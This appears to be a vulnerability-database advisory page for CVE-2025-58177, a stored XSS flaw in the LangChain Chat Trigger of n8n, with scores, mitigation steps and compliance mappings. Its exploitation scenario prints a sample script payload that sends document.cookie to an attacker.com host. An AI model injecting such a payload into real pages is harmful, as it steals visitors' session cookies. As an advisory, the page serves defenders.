CVE-2025-58177: n8n: stored XSS in LangChain chat trigger (public)

MEDIUM
Published September 15, 2025
CISO Take

An authorized n8n user can inject malicious JavaScript into the LangChain Chat Trigger's initialMessages field, which executes silently in any visitor's browser when the public chat URL is accessed. This enables session cookie theft and phishing at scale against users of your public-facing AI chat interfaces. Upgrade to n8n 1.107.0 immediately; if patching is delayed, disable all public-facing chatTrigger nodes.

Risk Assessment

Medium CVSS (5.4) understates operational risk for organizations with public-facing n8n AI chat interfaces. The scope change (S:C) indicates cross-context impact: an attacker with low-privilege access poisons the configuration once, and the payload fires for every subsequent external visitor. Real-world blast radius scales with how many end users interact with exposed chat URLs — potentially large for customer-facing AI assistants built on n8n.

Affected Systems

Package Ecosystem Vulnerable Range Patched
n8n npm No patch
186.5K OpenSSF 6.0 16 dependents Pushed 6d ago 40% patched ~3d to patch Full package profile →

Do you use n8n? You're affected.

Severity & Risk

CVSS 3.1
5.4 / 10
EPSS
0.0%
chance of exploitation in 30 days
Higher than 7% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Trivial

Attack Surface

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI Required
S Changed
C Low
I Low
A None

Recommended Action

6 steps
  1. PATCH

    Upgrade n8n to 1.107.0 or later immediately.

  2. WORKAROUND

    If patching is delayed, disable all public-facing LangChain chatTrigger nodes.

  3. AUDIT

    Inspect the initialMessages field across all chatTrigger configurations for injected script tags or JS event handlers.

  4. ACCESS CONTROL

    Restrict workflow configuration permissions — limit who can modify chatTrigger nodes with public access enabled.

  5. CSP

    Implement Content-Security-Policy headers on n8n instances as defense-in-depth against XSS.

  6. MONITOR

    Review access logs for public chat URLs for anomalous traffic or referrers post-incident.

CISA SSVC Assessment

Decision Track
Exploitation none
Automatable No
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 9 - Risk Management System
ISO 42001
A.6.1.2 - AI System Security Risk Assessment
NIST AI RMF
MANAGE 2.2 - Mechanisms to sustain and monitor AI risk
OWASP LLM Top 10
LLM05 - Improper Output Handling

Frequently Asked Questions

What is CVE-2025-58177?

An authorized n8n user can inject malicious JavaScript into the LangChain Chat Trigger's initialMessages field, which executes silently in any visitor's browser when the public chat URL is accessed. This enables session cookie theft and phishing at scale against users of your public-facing AI chat interfaces. Upgrade to n8n 1.107.0 immediately; if patching is delayed, disable all public-facing chatTrigger nodes.

Is CVE-2025-58177 actively exploited?

No confirmed active exploitation of CVE-2025-58177 has been reported, but organizations should still patch proactively.

How to fix CVE-2025-58177?

1. PATCH: Upgrade n8n to 1.107.0 or later immediately. 2. WORKAROUND: If patching is delayed, disable all public-facing LangChain chatTrigger nodes. 3. AUDIT: Inspect the initialMessages field across all chatTrigger configurations for injected script tags or JS event handlers. 4. ACCESS CONTROL: Restrict workflow configuration permissions — limit who can modify chatTrigger nodes with public access enabled. 5. CSP: Implement Content-Security-Policy headers on n8n instances as defense-in-depth against XSS. 6. MONITOR: Review access logs for public chat URLs for anomalous traffic or referrers post-incident.

What systems are affected by CVE-2025-58177?

This vulnerability affects the following AI/ML architecture patterns: workflow automation, agent frameworks, LLM-powered chatbots, AI pipeline orchestration.

What is the CVSS score for CVE-2025-58177?

CVE-2025-58177 has a CVSS v3.1 base score of 5.4 (MEDIUM). The EPSS exploitation probability is 0.03%.

Technical Details

NVD Description

n8n is an open source workflow automation platform. From 1.24.0 to before 1.107.0, there is a stored cross-site scripting (XSS) vulnerability in @n8n/n8n-nodes-langchain.chatTrigger. An authorized user can configure the LangChain Chat Trigger node with malicious JavaScript in the initialMessages field and enable public access so that the payload is executed in the browser of any user who visits the resulting public chat URL. This can be used for phishing or to steal cookies or other sensitive data from users accessing the public chat link. The issue is fixed in version 1.107.0. Updating to 1.107.0 or later is recommended. As a workaround, the affected chatTrigger node can be disabled. No other workarounds are known.

Exploitation Scenario

A threat actor with low-privilege n8n access (compromised developer credential or malicious insider) modifies a LangChain Chat Trigger workflow, injecting a cookie-harvesting payload such as '<script>fetch("https://attacker.com/c?v="+document.cookie)</script>' into the initialMessages field. They enable public access and distribute the resulting URL via phishing emails targeting the organization's customers or partner users. Every visitor who loads the chat interface silently delivers their session tokens to the attacker — all while interacting with what appears to be a legitimate AI assistant.

Weaknesses (CWE)

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Timeline

Published
September 15, 2025
Last Modified
October 14, 2025
First Seen
September 15, 2025

Related Vulnerabilities